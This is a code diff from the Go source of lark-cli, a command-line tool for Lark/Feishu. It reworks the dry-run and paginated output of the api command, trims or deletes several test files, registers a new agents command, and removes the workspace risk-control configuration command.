-			WithHint("pass the verb as the first argument, e.g. lark-cli api GET /open-apis/...").
-			WithParam("<method>")
-	}
-
 	// Validate --file mutual exclusions first.
 	if err := cmdutil.ValidateFileFlag(opts.File, opts.Params, opts.Data, opts.Output, opts.PageAll, opts.Method); err != nil {
 		return client.RawApiRequest{}, nil, err
@@ -250,9 +243,9 @@ func apiRun(opts *APIOptions) error {
 
 	if opts.DryRun {
 		if fileMeta != nil {
-			return cmdutil.PrintDryRunWithFile(request, config, dryRunOutputOptions(f, opts), *fileMeta)
+			return cmdutil.PrintDryRunWithFile(f.IOStreams.Out, request, config, opts.Format, fileMeta.FieldName, fileMeta.FilePath, fileMeta.FormFields)
 		}
-		return apiDryRun(f, request, config, opts)
+		return apiDryRun(f, request, config, opts.Format)
 	}
 	// Identity info is now included in the JSON envelope; skip stderr printing.
 	// cmdutil.PrintIdentity(f.IOStreams.ErrOut, opts.As, config, f.IdentityAutoDetected)
@@ -304,19 +297,8 @@ func apiRun(opts *APIOptions) error {
 	return nil
 }
 
-func apiDryRun(f *cmdutil.Factory, request client.RawApiRequest, config *core.CliConfig, opts *APIOptions) error {
-	return cmdutil.PrintDryRun(request, config, dryRunOutputOptions(f, opts))
-}
-
-func dryRunOutputOptions(f *cmdutil.Factory, opts *APIOptions) cmdutil.DryRunOutputOptions {
-	return cmdutil.DryRunOutputOptions{
-		Format:      opts.Format,
-		JqExpr:      opts.JqExpr,
-		CommandPath: opts.Cmd.CommandPath(),
-		Identity:    opts.As,
-		Out:         f.IOStreams.Out,
-		ErrOut:      f.IOStreams.ErrOut,
-	}
+func apiDryRun(f *cmdutil.Factory, request client.RawApiRequest, config *core.CliConfig, format string) error {
+	return cmdutil.PrintDryRun(f.IOStreams.Out, request, config, format)
 }
 
 func apiPaginate(ctx context.Context, ac *client.APIClient, request client.RawApiRequest, format output.Format, jqExpr string, out, errOut io.Writer, commandPath string, pagOpts client.PaginationOptions) error {
@@ -344,18 +326,20 @@ func apiPaginate(ctx context.Context, ac *client.APIClient, request client.RawAp
 
 	switch format {
 	case output.FormatNDJSON, output.FormatTable, output.FormatCSV:
-		emitter := output.NewEmitter(output.EmitterConfig{
-			Out:            out,
-			ErrOut:         errOut,
-			CommandPath:    commandPath,
-			Identity:       string(pagOpts.Identity),
-			NoticeProvider: output.GetNotice,
-		})
+		pf := output.NewPaginatedFormatter(out, format)
 		result, hasItems, err := ac.StreamPages(ctx, request, func(items []interface{}) error {
 			// Streaming formats intentionally emit each page after that page has
 			// passed safety scanning. A later page may still fail, so callers
 			// must use the exit code to distinguish complete vs partial output.
-			return emitter.StreamPage(items, output.StreamOptions{Format: format.String()})
+			scanResult := output.ScanForSafety(commandPath, items, errOut)
+			if scanResult.Blocked {
+				return scanResult.BlockErr
+			}
+			if scanResult.Alert != nil {
+				output.WriteAlertWarning(errOut, scanResult.Alert)
+			}
+			pf.FormatPage(items)
+			return nil
 		}, pagOpts)
 		if err != nil {
 			return errs.MarkRaw(err)

cmd/api/api_paginate_test.go

@@ -1,396 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package api
-
-import (
-	"bytes"
-	"context"
-	"encoding/json"
-	"errors"
-	"fmt"
-	"io"
-	"net/http"
-	"testing"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/client"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/httpmock"
-	"github.com/larksuite/cli/internal/output"
-)
-
-type apiFailOnWriteWriter struct {
-	buf    bytes.Buffer
-	writes int
-	failAt int
-	err    error
-}
-
-func (w *apiFailOnWriteWriter) Write(p []byte) (int, error) {
-	w.writes++
-	if w.writes == w.failAt {
-		return 0, w.err
-	}
-	return w.buf.Write(p)
-}
-
-func newAPIPaginateTestHarness(t *testing.T) (*client.APIClient, *bytes.Buffer, *bytes.Buffer, *httpmock.Registry) {
-	t.Helper()
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "off")
-	previousNotice := output.PendingNotice
-	output.PendingNotice = nil
-	t.Cleanup(func() { output.PendingNotice = previousNotice })
-
-	config := &core.CliConfig{
-		AppID:     "test-app",
-		AppSecret: "test-secret",
-		Brand:     core.BrandFeishu,
-	}
-	f, out, errOut, reg := cmdutil.TestFactory(t, config)
-	ac, err := f.NewAPIClientWithConfig(config)
-	if err != nil {
-		t.Fatalf("NewAPIClientWithConfig() error = %v", err)
-	}
-	ac.ErrOut = io.Discard
-	return ac, out, errOut, reg
-}
-
-func apiPaginateRequest() client.RawApiRequest {
-	return client.RawApiRequest{
-		Method: "GET",
-		URL:    "/open-apis/test/v1/items",
-		As:     core.AsBot,
-	}
-}
-
-func assertAPIPaginateJSONBytes(t *testing.T, got []byte, want interface{}) {
-	t.Helper()
-	wantBytes, err := json.MarshalIndent(want, "", "  ")
-	if err != nil {
-		t.Fatalf("marshal expected JSON: %v", err)
-	}
-	wantBytes = append(wantBytes, '\n')
-	if !bytes.Equal(got, wantBytes) {
-		t.Fatalf("stdout bytes mismatch\ngot:\n%s\nwant:\n%s", got, wantBytes)
-	}
-}
-
-func TestAPIPaginate_DefaultAggregatesAllPages(t *testing.T) {
-	ac, out, errOut, reg := newAPIPaginateTestHarness(t)
-	calls := 0
-	wantTokens := []string{"", "next-1", "next-2"}
-	for i, wantToken := range wantTokens {
-		page := i + 1
-		hasMore := page < len(wantTokens)
-		data := map[string]interface{}{
-			"items":    []interface{}{map[string]interface{}{"id": string(rune('0' + page))}},
-			"has_more": hasMore,
-		}
-		if hasMore {
-			data["page_token"] = wantTokens[page]
-		}
-		reg.Register(&httpmock.Stub{
-			URL: "/open-apis/test/v1/items",
-			OnMatch: func(req *http.Request) {
-				calls++
-				if got := req.URL.Query().Get("page_token"); got != wantToken {
-					t.Errorf("request %d page_token = %q, want %q", page, got, wantToken)
-				}
-			},
-			Body: map[string]interface{}{
-				"code": 0,
-				"msg":  "ok",
-				"data": data,
-			},
-		})
-	}
-
-	err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
-		output.FormatJSON, "", out, errOut, "lark-cli api GET", client.PaginationOptions{
-			PageLimit: 10,
-			PageDelay: -1,
-		})
-
-	if err != nil {
-		t.Fatalf("apiPaginate() error = %v, want nil", err)
-	}
-	if calls != 3 {
-		t.Fatalf("pagination requests = %d, want 3", calls)
-	}
-	assertAPIPaginateJSONBytes(t, out.Bytes(), output.Envelope{
-		OK:       true,
-		Identity: "bot",
-		Data: map[string]interface{}{
-			"items": []interface{}{
-				map[string]interface{}{"id": "1"},
-				map[string]interface{}{"id": "2"},
-				map[string]interface{}{"id": "3"},
-			},
-			"has_more": false,
-		},
-	})
-	if got := errOut.String(); got != "" {
-		t.Fatalf("stderr bytes = %q, want empty", got)
-	}
-}
-
-func TestAPIPaginate_StreamingFormatsEmitExactMultiPageBytes(t *testing.T) {
-	tests := []struct {
-		name   string
-		format output.Format
-		want   string
-	}{
-		{
-			name:   "ndjson",
-			format: output.FormatNDJSON,
-			want:   "{\"id\":\"1\",\"name\":\"Alice\"}\n{\"id\":\"2\",\"name\":\"Carol\",\"page_only\":\"ignored\"}\n",
-		},
-		{
-			name:   "table",
-			format: output.FormatTable,
-			want:   "id  name \n──  ─────\n1   Alice\n2   Carol\n",
-		},
-		{
-			name:   "csv",
-			format: output.FormatCSV,
-			want:   "id,name\n1,Alice\n2,Carol\n",
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			ac, out, errOut, reg := newAPIPaginateTestHarness(t)
-			reg.Register(&httpmock.Stub{
-				URL: "/open-apis/test/v1/items",
-				Body: map[string]interface{}{
-					"code": 0,
-					"msg":  "ok",
-					"data": map[string]interface{}{
-						"items": []interface{}{
-							map[string]interface{}{"id": "1", "name": "Alice"},
-						},
-						"has_more":   true,
-						"page_token": "next-1",
-					},
-				},
-			})
-			reg.Register(&httpmock.Stub{
-				URL: "/open-apis/test/v1/items",
-				Body: map[string]interface{}{
-					"code": 0,
-					"msg":  "ok",
-					"data": map[string]interface{}{
-						"items": []interface{}{
-							map[string]interface{}{"id": "2", "name": "Carol", "page_only": "ignored"},
-						},
-						"has_more": false,
-					},
-				},
-			})
-
-			err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
-				tt.format, "", out, errOut, "lark-cli api GET", client.PaginationOptions{
-					PageLimit: 10,
-					PageDelay: -1,
-				})
-
-			if err != nil {
-				t.Fatalf("apiPaginate() error = %v, want nil", err)
-			}
-			if got := out.String(); got != tt.want {
-				t.Fatalf("stdout byte mismatch\ngot (%d bytes):\n%q\nwant (%d bytes):\n%q", len(got), got, len(tt.want), tt.want)
-			}
-			if got := errOut.String(); got != "" {
-				t.Fatalf("stderr bytes = %q, want empty", got)
-			}
-		})
-	}
-}
-
-func TestAPIPaginate_StreamingWriteFailureStopsFurtherPages(t *testing.T) {
-	ac, _, errOut, reg := newAPIPaginateTestHarness(t)
-	sentinel := errors.New("page write failed")
-	out := &apiFailOnWriteWriter{failAt: 2, err: sentinel}
-	calls := 0
-	for page := 1; page <= 2; page++ {
-		hasMore := true
-		data := map[string]interface{}{
-			"items":    []interface{}{map[string]interface{}{"id": page}},
-			"has_more": hasMore,
-		}
-		if hasMore {
-			data["page_token"] = fmt.Sprintf("next-%d", page)
-		}
-		reg.Register(&httpmock.Stub{
-			URL: "/open-apis/test/v1/items",
-			OnMatch: func(*http.Request) {
-				calls++
-			},
-			Body: map[string]interface{}{
-				"code": 0,
-				"msg":  "ok",
-				"data": data,
-			},
-		})
-	}
-
-	err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
-		output.FormatNDJSON, "", out, errOut, "lark-cli api GET",
-		client.PaginationOptions{PageLimit: 10, PageDelay: -1})
-
-	if !errors.Is(err, sentinel) {
-		t.Fatalf("apiPaginate() error = %v, want preserved writer cause", err)
-	}
-	problem, ok := errs.ProblemOf(err)
-	if !ok || problem.Category != errs.CategoryInternal {
-		t.Fatalf("apiPaginate() problem = %#v, %v; want internal typed error", problem, ok)
-	}
-	if calls != 2 {
-		t.Fatalf("pagination requests = %d, want 2", calls)
-	}
-	if got, want := out.buf.String(), "{\"id\":1}\n"; got != want {
-		t.Fatalf("stdout bytes = %q, want %q", got, want)
-	}
-}
-
-func TestAPIPaginate_StreamingFormatFallsBackToJSONWithoutList(t *testing.T) {
-	ac, out, errOut, reg := newAPIPaginateTestHarness(t)
-	reg.Register(&httpmock.Stub{
-		URL: "/open-apis/test/v1/items",
-		Body: map[string]interface{}{
-			"code": 0,
-			"msg":  "ok",
-			"data": map[string]interface{}{
-				"name":    "Test User",
-				"user_id": "u123",
-			},
-		},
-	})
-
-	err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
-		output.FormatNDJSON, "", out, errOut, "lark-cli api GET", client.PaginationOptions{PageDelay: -1})
-
-	if err != nil {
-		t.Fatalf("apiPaginate() error = %v, want nil", err)
-	}
-	assertAPIPaginateJSONBytes(t, out.Bytes(), output.Envelope{
-		OK:       true,
-		Identity: "bot",
-		Data: map[string]interface{}{
-			"name":    "Test User",
-			"user_id": "u123",
-		},
-	})
-	wantWarning := "warning: this API does not return a list, format \"ndjson\" is not supported, falling back to json\n"
-	if got := errOut.String(); got != wantWarning {
-		t.Fatalf("stderr bytes = %q, want %q", got, wantWarning)
-	}
-}
-
-func TestAPIPaginate_BusinessErrorsWriteRawAndAreMarkedRaw(t *testing.T) {
-	businessResponse := map[string]interface{}{
-		"code": 123456,
-		"msg":  "fixture business error",
-		"data": map[string]interface{}{"detail": "business failed"},
-	}
-	tests := []struct {
-		name   string
-		format output.Format
-		jqExpr string
-	}{
-		{name: "jq", format: output.FormatJSON, jqExpr: ".data.items"},
-		{name: "default_json", format: output.FormatJSON},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			ac, out, errOut, reg := newAPIPaginateTestHarness(t)
-			reg.Register(&httpmock.Stub{
-				URL:  "/open-apis/test/v1/items",
-				Body: businessResponse,
-			})
-
-			err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
-				tt.format, tt.jqExpr, out, errOut, "lark-cli api GET", client.PaginationOptions{PageDelay: -1})
-
-			if err == nil {
-				t.Fatal("apiPaginate() error = nil, want business error")
-			}
-			if !errs.IsRaw(err) {
-				t.Fatalf("errs.IsRaw(error) = false, want true; error = %T: %v", err, err)
-			}
-			assertAPIPaginateJSONBytes(t, out.Bytes(), businessResponse)
-			if bytes.Contains(out.Bytes(), []byte(`"ok": true`)) {
-				t.Fatalf("business-error stdout contains a success envelope:\n%s", out.Bytes())
-			}
-			if got := errOut.String(); got != "" {
-				t.Fatalf("stderr bytes = %q, want empty", got)
-			}
-		})
-	}
-}
-
-func TestAPIPaginate_TransportErrorsAreMarkedRaw(t *testing.T) {
-	tests := []struct {
-		name   string
-		format output.Format
-		jqExpr string
-	}{
-		{name: "jq_paginate_all", format: output.FormatJSON, jqExpr: ".data.items"},
-		{name: "stream_pages", format: output.FormatNDJSON},
-		{name: "default_paginate_all", format: output.FormatJSON},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			ac, out, errOut, _ := newAPIPaginateTestHarness(t)
-
-			err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
-				tt.format, tt.jqExpr, out, errOut, "lark-cli api GET", client.PaginationOptions{PageDelay: -1})
-
-			if err == nil {
-				t.Fatal("apiPaginate() error = nil, want transport error")
-			}
-			if !errs.IsRaw(err) {
-				t.Fatalf("errs.IsRaw(error) = false, want true; error = %T: %v", err, err)
-			}
-			if got := out.String(); got != "" {
-				t.Fatalf("stdout bytes = %q, want empty", got)
-			}
-			if got := errOut.String(); got != "" {
-				t.Fatalf("stderr bytes = %q, want empty", got)
-			}
-		})
-	}
-}
-
-func TestAPIPaginate_StreamBusinessErrorIsMarkedRaw(t *testing.T) {
-	ac, out, errOut, reg := newAPIPaginateTestHarness(t)
-	reg.Register(&httpmock.Stub{
-		URL: "/open-apis/test/v1/items",
-		Body: map[string]interface{}{
-			"code": 123456,
-			"msg":  "fixture business error",
-			"data": map[string]interface{}{},
-		},
-	})
-
-	err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
-		output.FormatNDJSON, "", out, errOut, "lark-cli api GET", client.PaginationOptions{PageDelay: -1})
-
-	if err == nil {
-		t.Fatal("apiPaginate() error = nil, want business error")
-	}
-	if !errs.IsRaw(err) {
-		t.Fatalf("errs.IsRaw(error) = false, want true; error = %T: %v", err, err)
-	}
-	if got := out.String(); got != "" {
-		t.Fatalf("stdout bytes = %q, want empty", got)
-	}
-	if got := errOut.String(); got != "" {
-		t.Fatalf("stderr bytes = %q, want empty", got)
-	}
-}

cmd/api/api_test.go

@@ -69,7 +69,7 @@ func TestApiCmd_FlagParsing(t *testing.T) {
 }
 
 func TestApiCmd_DryRun(t *testing.T) {
-	f, stdout, stderr, _ := cmdutil.TestFactory(t, &core.CliConfig{
+	f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
 	})
 
@@ -79,42 +79,12 @@ func TestApiCmd_DryRun(t *testing.T) {
 	if err != nil {
 		t.Fatalf("unexpected error: %v", err)
 	}
-	var got map[string]interface{}
-	if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
-		t.Fatalf("dry-run stdout is not JSON: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String())
+	output := stdout.String()
+	if !strings.Contains(output, "Dry Run") {
+		t.Error("expected dry run output")
 	}
-	if got["ok"] != true || got["identity"] != "bot" || got["dry_run"] != true {
-		t.Fatalf("unexpected dry-run envelope: %#v", got)
-	}
-	data, ok := got["data"].(map[string]interface{})
-	if !ok {
-		t.Fatalf("data = %#v, want object", got["data"])
-	}
-	api, ok := data["api"].([]interface{})
-	if !ok || len(api) != 1 {
-		t.Fatalf("api = %#v, want one call", data["api"])
-	}
-	call, ok := api[0].(map[string]interface{})
-	if !ok || call["url"] != "/open-apis/test" {
-		t.Fatalf("api[0] = %#v", api[0])
-	}
-	if strings.Contains(stdout.String(), "=== Dry Run ===") {
-		t.Fatalf("stdout should not contain dry-run banner: %s", stdout.String())
-	}
-}
-
-func TestApiCmd_DryRunWithJq(t *testing.T) {
-	f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
-	})
-
-	cmd := newTestApiCmd(f, nil)
-	cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--dry-run", "--jq", ".data.api[0].url"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-	if got := strings.TrimSpace(stdout.String()); got != "/open-apis/test" {
-		t.Fatalf("jq output = %q, want /open-apis/test", got)
+	if !strings.Contains(output, "/open-apis/test") {
+		t.Error("expected path in dry run output")
 	}
 }
 
@@ -182,22 +152,6 @@ func TestApiCmd_MissingArgs(t *testing.T) {
 	}
 }
 
-func TestApiCmd_EmptyMethodRejected(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
-	})
-
-	cmd := newTestApiCmd(f, nil)
-	cmd.SetArgs([]string{"", "/open-apis/test", "--as", "bot", "--dry-run"})
-	err := cmd.Execute()
-	if err == nil {
-		t.Fatal("expected validation error for empty HTTP method")
-	}
-	if !strings.Contains(err.Error(), "method") {
-		t.Fatalf("error should name the method argument, got: %v", err)
-	}
-}
-
 func TestApiCmd_InvalidParamsJSON(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
@@ -352,9 +306,6 @@ func TestApiCmd_OutputAndPageAllConflict(t *testing.T) {
 }
 
 func TestApiCmd_BinaryResponse_AutoSave(t *testing.T) {
-	dir := t.TempDir()
-	cmdutil.TestChdir(t, dir)
-
 	f, stdout, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
 		AppID: "test-app-bin", AppSecret: "test-secret-bin", Brand: core.BrandFeishu,
 	})
@@ -374,33 +325,8 @@ func TestApiCmd_BinaryResponse_AutoSave(t *testing.T) {
 	if !strings.Contains(stderr.String(), "binary response detected") {
 		t.Error("expected binary response hint in stderr")
 	}
-	var got map[string]interface{}
-	if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
-		t.Fatalf("stdout is not JSON: %v\nstdout:\n%s", err, stdout.String())
-	}
-	savedPath, _ := got["saved_path"].(string)
-	if savedPath == "" {
-		t.Fatalf("saved_path missing from output: %#v", got)
-	}
-	// The file must land inside the temporary cwd — this pins the isolation
-	// contract: rolling back TestChdir would leave download.bin in the repo.
-	wantDir, err := filepath.EvalSymlinks(dir)
-	if err != nil {
-		t.Fatal(err)
-	}
-	gotDir, err := filepath.EvalSymlinks(filepath.Dir(savedPath))
-	if err != nil {
-		t.Fatalf("saved_path %q dir not resolvable: %v", savedPath, err)
-	}
-	if gotDir != wantDir {
-		t.Errorf("saved_path %q is outside temp cwd %q", savedPath, wantDir)
-	}
-	content, err := os.ReadFile(savedPath)
-	if err != nil {
-		t.Fatalf("read saved file: %v", err)
-	}
-	if string(content) != "fake-binary-content" {
-		t.Errorf("saved file content = %q, want %q", content, "fake-binary-content")
+	if !strings.Contains(stdout.String(), "saved_path") {
+		t.Error("expected saved_path in output")
 	}
 }
 
@@ -1074,23 +1000,11 @@ func TestApiCmd_DryRunWithFile(t *testing.T) {
 		t.Fatalf("unexpected error: %v", err)
 	}
 	out := stdout.String()
-	var env map[string]interface{}
-	if err := json.Unmarshal(stdout.Bytes(), &env); err != nil {
-		t.Fatalf("dry-run stdout is not JSON: %v\n%s", err, out)
+	if !strings.Contains(out, "image") {
+		t.Errorf("expected dry-run output to mention file field, got: %s", out)
 	}
-	if env["dry_run"] != true {
-		t.Fatalf("dry_run = %#v, want true", env["dry_run"])
-	}
-	data := env["data"].(map[string]interface{})
-	api := data["api"].([]interface{})
-	call := api[0].(map[string]interface{})
-	body := call["body"].(map[string]interface{})
-	file := body["file"].(map[string]interface{})
-	if file["field"] != "image" || file["path"] != tmpFile {
-		t.Fatalf("unexpected file dry-run body: %#v", body)
-	}
-	if strings.Contains(out, "=== Dry Run ===") {
-		t.Fatalf("stdout should not contain dry-run banner: %s", out)
+	if !strings.Contains(out, "Dry Run") {
+		t.Errorf("expected dry-run header, got: %s", out)
 	}
 }
 

cmd/auth/login_messages.go

@@ -128,5 +128,5 @@ func getLoginMsg(lang i18n.Lang) *loginMsg {
 // (not backed by from_meta service specs). Descriptions are now centralized in
 // service_descriptions.json.
 func getShortcutOnlyDomainNames() []string {
-	return []string{"application", "base", "contact", "docs", "markdown", "apps", "note"}
+	return []string{"base", "contact", "docs", "markdown", "apps", "note"}
 }

cmd/auth/testmain_test.go

@@ -1,46 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package auth
-
-import (
-	"os"
-	"path/filepath"
-	"testing"
-
-	"github.com/larksuite/cli/internal/registry/registrytest"
-)
-
-// TestMain isolates auth command tests from the host machine: config, logs
-// and the registry cache are redirected to a temp dir, then the registry is
-// seeded from the tracked fixture and initialized eagerly. Domain-completion
-// tests read the registry, so without seeding a clean checkout would either
-// fail or trigger a remote metadata fetch.
-//
-// Note: os.Exit skips deferred functions, so cleanup runs explicitly after
-// m.Run before exiting.
-func TestMain(m *testing.M) {
-	root, err := os.MkdirTemp("", "lark-cli-cmd-auth-test-*")
-	if err != nil {
-		println("cmd/auth test setup: MkdirTemp failed:", err.Error())
-		os.Exit(2)
-	}
-	if err := os.Setenv("LARKSUITE_CLI_CONFIG_DIR", filepath.Join(root, "config")); err != nil {
-		println("cmd/auth test setup: Setenv failed:", err.Error())
-		os.RemoveAll(root)
-		os.Exit(2)
-	}
-	if err := os.Setenv("LARKSUITE_CLI_LOG_DIR", filepath.Join(root, "logs")); err != nil {
-		println("cmd/auth test setup: Setenv failed:", err.Error())
-		os.RemoveAll(root)
-		os.Exit(2)
-	}
-	if err := registrytest.Seed(root); err != nil {
-		println("cmd/auth test setup: registrytest.Seed failed:", err.Error())
-		os.RemoveAll(root)
-		os.Exit(2)
-	}
-	code := m.Run()
-	_ = os.RemoveAll(root)
-	os.Exit(code)
-}

cmd/build.go

@@ -8,6 +8,8 @@ import (
 	"io"
 	"io/fs"
 
+	_ "github.com/larksuite/cli/agents"
+	"github.com/larksuite/cli/cmd/agents"
 	"github.com/larksuite/cli/cmd/api"
 	"github.com/larksuite/cli/cmd/auth"
 	"github.com/larksuite/cli/cmd/completion"
@@ -222,6 +224,7 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
 	rootCmd.AddCommand(cmdupdate.NewCmdUpdate(f))
 	rootCmd.AddCommand(cmdevent.NewCmdEvents(f))
 	rootCmd.AddCommand(skill.NewCmdSkill(f))
+	rootCmd.AddCommand(agents.NewCmdAgents(f))
 	if !cfg.skipService {
 		if cfg.serviceCatalog != nil {
 			service.RegisterServiceCommandsFromCatalog(ctx, rootCmd, f, *cfg.serviceCatalog)

cmd/config/config.go

@@ -31,7 +31,6 @@ func NewCmdConfig(f *cmdutil.Factory) *cobra.Command {
 	cmd.AddCommand(NewCmdConfigShow(f, nil))
 	cmd.AddCommand(NewCmdConfigDefaultAs(f))
 	cmd.AddCommand(NewCmdConfigStrictMode(f))
-	cmd.AddCommand(NewCmdConfigRiskControl(f))
 	cmd.AddCommand(NewCmdConfigPolicy(f))
 	cmd.AddCommand(NewCmdConfigPlugins(f))
 	cmd.AddCommand(NewCmdConfigKeychainDowngrade(f))

cmd/config/risk_control.go

@@ -1,80 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package config
-
-import (
-	"fmt"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-)
-
-// NewCmdConfigRiskControl creates the workspace risk-control policy command.
-func NewCmdConfigRiskControl(f *cmdutil.Factory) *cobra.Command {
-	cmd := &cobra.Command{
-		Use:   "risk-control [on|off|default]",
-		Short: "Manage workspace account-protection policy",
-		Long: `View or set the account-protection risk-control policy for this workspace.
-
-Account protection is on by default. Use off to opt this workspace out, on to
-opt it back in explicitly, or default to remove the explicit preference.`,
-		Args: cobra.MaximumNArgs(1),
-		// This is persistent workspace policy, not credential management.
-		PersistentPreRunE: func(cmd *cobra.Command, _ []string) error {
-			cmd.SilenceUsage = true
-			return nil
-		},
-		RunE: func(cmd *cobra.Command, args []string) error {
-			config, err := core.LoadOrNotConfigured()
-			if err != nil {
-				return err
-			}
-			if len(args) == 0 {
-				printRiskControl(f, config)
-				return nil
-			}
-
-			switch args[0] {
-			case "on":
-				enabled := true
-				config.RiskControl = &enabled
-			case "off":
-				enabled := false
-				config.RiskControl = &enabled
-			case "default":
-				config.RiskControl = nil
-			default:
-				return errs.NewValidationError(errs.SubtypeInvalidArgument,
-					"invalid risk-control value %q, valid values: on | off | default", args[0])
-			}
-
-			if err := core.SaveMultiAppConfig(config); err != nil {
-				return errs.NewInternalError(errs.SubtypeStorage,
-					"failed to save risk-control policy: %v", err).WithCause(err)
-			}
-			fmt.Fprintf(f.IOStreams.ErrOut, "Risk control set to %s (workspace)\n", args[0])
-			return nil
-		},
-	}
-	cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
-	return cmd
-}
-
-func printRiskControl(f *cmdutil.Factory, config *core.MultiAppConfig) {
-	source := "default"
-	if config.RiskControl != nil {
-		source = "workspace"
-	}
-	fmt.Fprintf(f.IOStreams.Out, "risk-control: %s (source: %s)\n", riskControlState(config.RiskControlEnabled()), source)
-}
-
-func riskControlState(enabled bool) string {
-	if enabled {
-		return "on"
-	}
-	return "off"
-}

cmd/config/risk_control_test.go

@@ -1,130 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package config
-
-import (
-	"errors"
-	"strings"
-	"testing"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-)
-
-func TestRiskControlWorkspacePolicy(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	config := &core.MultiAppConfig{Apps: []core.AppConfig{{
-		AppId: "cli_test", AppSecret: core.PlainSecret("secret"), Brand: core.BrandFeishu,
-	}}}
-	if err := core.SaveMultiAppConfig(config); err != nil {
-		t.Fatal(err)
-	}
-
-	f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
-	cmd := NewCmdConfigRiskControl(f)
-	cmd.SetArgs([]string{"off"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("set off: %v", err)
-	}
-	loaded, err := core.LoadMultiAppConfig()
-	if err != nil {
-		t.Fatal(err)
-	}
-	if loaded.RiskControl == nil || *loaded.RiskControl {
-		t.Fatalf("RiskControl = %v, want explicit false", loaded.RiskControl)
-	}
-	if !strings.Contains(stderr.String(), "set to off") {
-		t.Fatalf("stderr = %q", stderr.String())
-	}
-
-	stdout.Reset()
-	cmd = NewCmdConfigRiskControl(f)
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("show: %v", err)
-	}
-	if got := stdout.String(); got != "risk-control: off (source: workspace)\n" {
-		t.Fatalf("stdout = %q", got)
-	}
-
-	cmd = NewCmdConfigRiskControl(f)
-	cmd.SetArgs([]string{"on"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("set on: %v", err)
-	}
-	loaded, err = core.LoadMultiAppConfig()
-	if err != nil {
-		t.Fatal(err)
-	}
-	if loaded.RiskControl == nil || !*loaded.RiskControl {
-		t.Fatalf("RiskControl = %v, want explicit true", loaded.RiskControl)
-	}
-
-	cmd = NewCmdConfigRiskControl(f)
-	cmd.SetArgs([]string{"default"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("reset default: %v", err)
-	}
-	loaded, err = core.LoadMultiAppConfig()
-	if err != nil {
-		t.Fatal(err)
-	}
-	if loaded.RiskControl != nil {
-		t.Fatalf("RiskControl = %v, want nil", loaded.RiskControl)
-	}
-
-	stdout.Reset()
-	cmd = NewCmdConfigRiskControl(f)
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("show default: %v", err)
-	}
-	if got := stdout.String(); got != "risk-control: on (source: default)\n" {
-		t.Fatalf("stdout = %q", got)
-	}
-}
-
-func TestRiskControlWorkspacePolicyRejectsInvalidValue(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	if err := core.SaveMultiAppConfig(&core.MultiAppConfig{Apps: []core.AppConfig{{
-		AppId: "cli_test", AppSecret: core.PlainSecret("secret"), Brand: core.BrandFeishu,
-	}}}); err != nil {
-		t.Fatal(err)
-	}
-
-	f, _, _, _ := cmdutil.TestFactory(t, nil)
-	cmd := NewCmdConfigRiskControl(f)
-	cmd.SetArgs([]string{"invalid"})
-	err := cmd.Execute()
-	var validationErr *errs.ValidationError
-	if !errors.As(err, &validationErr) {
-		t.Fatalf("error = %T %v, want *errs.ValidationError", err, err)
-	}
-	if validationErr.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype = %q, want %q", validationErr.Subtype, errs.SubtypeInvalidArgument)
-	}
-}
-
